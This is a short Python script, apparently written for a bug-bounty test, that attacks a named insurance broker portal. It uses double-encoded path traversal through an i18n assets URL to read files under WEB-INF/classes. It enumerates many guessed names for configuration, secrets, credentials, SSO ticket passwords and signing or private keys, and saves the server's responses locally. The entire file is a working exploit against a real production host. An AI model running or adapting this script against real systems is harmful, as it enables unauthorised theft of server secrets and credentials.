from curl_cffi import requests
from pathlib import Path
import urllib.parse,json,time
host='maklerportal.baloise.de'
base=f'https://{host}/auth/ui/assets/airlock/i18n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/WEB-INF/classes/'
H={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache','Accept':'application/json'}
prefixes=[
 'de/baloise','de/baloise/iam','de/baloise/iam/saml2','de/baloise/iam/easylogin','de/baloise/login',
 'de/balgroupit','de/balgroupit/iam','de/balgroupit/iam/saml2','de/balgroupit/login',
 'de/basler','de/basler/iam','de/basler/iam/saml2','de/helvetia','de/helvetia/iam','de/helvetia/iam/saml2',
 'com/baloise/iam/easylogin','com/baloise/easylogin','ch/baloise/iam/easylogin','ch/baloise/easylogin',
]
leafs=[
 'application','bootstrap','config','configuration','settings','security','secrets','credentials',
 'saml','saml2','sso','sso-ticket','ticket','easylogin','easy-login','tgic','account-linking',
 'baloise-saml2','saml-transform','saml2-transform','transform','transformer',
 'Saml2Resource','Saml2Controller','Saml2Service','Saml2Transformer','SamlResponseTransformer',
 'SamlToSsoTicketTransformer','SsoTicketTransformer','SsoTicketService','SsoTicketConfig',
 'EasyLogin','EasyLoginConfig','EasyLoginSaml2','EasyLoginSaml2Resource','EasyLoginSaml2Config',
 'BaloiseSaml2','BaloiseSaml2Resource','BaloiseSaml2Config','BaloiseSamlTransformer',
 'ticket-password','ticketPassword','sso-ticket-password','ssoTicketPassword',
 'encryption-key','encryptionKey','signing-key','signingKey','private-key','privateKey',
 'idp','sp','federation','metadata','attribute-mapping','claims',
]
names=[]
seen=set()
# prioritize targeted likely package/leaf combos over all product roots
for p in prefixes:
 for l in leafs:
  n=p+'/'+l
  if n not in seen: seen.add(n); names.append(n)
for n in [
 'easylogin/config','easylogin/settings','easylogin/sso-ticket','tgic/config','tgic/settings','tgic/sso-ticket',
 'sso-ticket','sso-ticket-config','sso-ticket-password','ticket-password','ticketPassword','ssoTicketPassword',
 'config/sso-ticket','config/easylogin','config/tgic','configuration/sso-ticket','META-INF/easylogin',
 'META-INF/baloise-saml2','META-INF/saml2-transform','META-INF/tgic',
]:
 if n not in seen:seen.add(n);names.append(n)
out=Path('work/scratch/i18n-de-package-results.jsonl')
with out.open('w') as f:
 for i,n in enumerate(names,1):
  url=base+urllib.parse.quote(n,safe='/_.-')+'.json'
  try:
   r=requests.get(url,headers=H,timeout=20,verify=False,toadex_capture=False)
   x={'name':n,'status':r.status_code,'size':len(r.content),'etag':r.headers.get('ETag'),'lm':r.headers.get('Last-Modified'),'body':r.text.strip()[:12000]}
  except Exception as e:
   x={'name':n,'status':0,'error':repr(e),'body':''}
  f.write(json.dumps(x,ensure_ascii=False)+'\n'); f.flush()
  if x['status']!=200 or x['body'] not in ('{}',''):
   print('HIT',json.dumps(x,ensure_ascii=False),flush=True)
  if x['status']==503:
   print('STOP 503 at',i,n,flush=True);break
  if i%100==0: print('progress',i,'/',len(names),flush=True)
  time.sleep(.08)
print('planned',len(names))
